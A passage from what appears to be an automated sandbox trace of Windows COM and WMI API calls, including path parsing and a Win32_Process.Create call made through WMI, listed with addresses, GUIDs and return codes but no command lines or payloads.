puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b580, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0065.455] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b640, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0065.455] IWbemServices:ExecMethod (in: This=0x1bf53b70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1a240, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1a4f0, ppCallResult=0x0) returned 0x0 [0065.573] IWbemClassObject:Get (in: This=0x1bf1a4f0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8640*=0, plFlavor=0x2ad8644*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf54, varVal2=0x0), pType=0x2ad8640*=19, plFlavor=0x2ad8644*=0) returned 0x0 [0065.573] IWbemClassObject:Get (in: This=0x1bf1a4f0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad8640*=19, plFlavor=0x2ad8644*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf54, varVal2=0x0), pType=0x2ad8640*=19, plFlavor=0x2ad8644*=0) returned 0x0 [0065.574] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0065.574] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0065.574] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0065.574] IUnknown:Release (This=0x111f638) returned 0x1 [0065.576] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f9bd0) returned 0x0 [0065.576] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9bd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0065.576] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9bd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3bac0) returned 0x0 [0065.576] WbemDefPath:IUnknown:Release (This=0x11f9bd0) returned 0x0 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3bac0) returned 0x0 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0065.577] WbemDefPath:IUnknown:AddRef (This=0x1bf3bac0) returned 0x3 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f9c10) returned 0x0 [0065.577] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9c10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.577] WbemDefPath:IUnknown:Release (This=0x11f9c10) returned 0x3 [0065.577] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0065.577] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0065.577] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0065.578] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x2 [0065.578] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x1 [0065.578] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0065.578] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.578] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bac0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3bac0) returned 0x0 [0065.578] WbemDefPath:IUnknown:AddRef (This=0x1bf3bac0) returned 0x3 [0065.578] WbemDefPath:IUnknown:Release (This=0x1bf3bac0) returned 0x2 [0065.578] WbemDefPath:IWbemPath:SetText (This=0x1bf3bac0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bac0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bac0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bac0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bac0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bac0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.578] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bac0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.578] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0065.578] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0065.578] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0065.578] IUnknown:Release (This=0x111f638) returned 0x1 [0065.580] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f9c50) returned 0x0 [0065.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9c50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0065.580] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9c50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bf3bb80) returned 0x0 [0065.580] WbemDefPath:IUnknown:Release (This=0x11f9c50) returned 0x0 [0065.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bf3bb80) returned 0x0 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0065.581] WbemDefPath:IUnknown:AddRef (This=0x1bf3bb80) returned 0x3 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f9c90) returned 0x0 [0065.581] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9c90, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.581] WbemDefPath:IUnknown:Release (This=0x11f9c90) returned 0x3 [0065.581] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0065.581] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0065.581] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x2 [0065.581] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x1 [0065.581] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0065.581] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0065.581] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bb80, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bf3bb80) returned 0x0 [0065.581] WbemDefPath:IUnknown:AddRef (This=0x1bf3bb80) returned 0x3 [0065.582] WbemDefPath:IUnknown:Release (This=0x1bf3bb80) returned 0x2 [0065.582] WbemDefPath:IWbemPath:SetText (This=0x1bf3bb80, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bb80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bb80, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bb80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bb80, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3bb80, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bb80, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0065.582] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.582] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0065.582] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0065.582] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0065.582] IUnknown:Release (This=0x111f638) returned 0x1 [0065.584] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11f9cd0) returned 0x0 [0065.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f9cd0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0065.584] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f9cd0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bf3bc40) returned 0x0 [0065.584] WbemDefPath:IUnknown:Release (This=0x11f9cd0) returned 0x0 [0065.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bf3bc40) returned 0x0 [0065.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0065.585] WbemDefPath:IUnknown:AddRef (This=0x1bf3bc40) returned 0x3 [0065.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0065.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0065.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11f9d10) returned 0x0 [0065.585] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f9d10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.585] WbemDefPath:IUnknown:Release (This=0x11f9d10) returned 0x3 [0065.585] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0065.585] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0065.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0065.585] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x2 [0065.585] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x1 [0065.585] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0065.585] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0065.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bc40, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bf3bc40) returned 0x0 [0065.585] WbemDefPath:IUnknown:AddRef (This=0x1bf3bc40) returned 0x3 [0065.585] WbemDefPath:IUnknown:Release (This=0x1bf3bc40) returned 0x2 [0065.585] WbemDefPath:IWbemPath:SetText (This=0x1bf3bc40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0065.586] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0065.586] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0065.586] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0065.586] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0065.586] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0065.587] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0065.587] IUnknown:Release (This=0x111f638) returned 0x1 [0065.587] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11f9e10) returned 0x0 [0065.588] WbemLocator:IUnknown:QueryInterface (in: This=0x11f9e10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0065.588] WbemLocator:IClassFactory:CreateInstance (in: This=0x11f9e10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11f9e30) returned 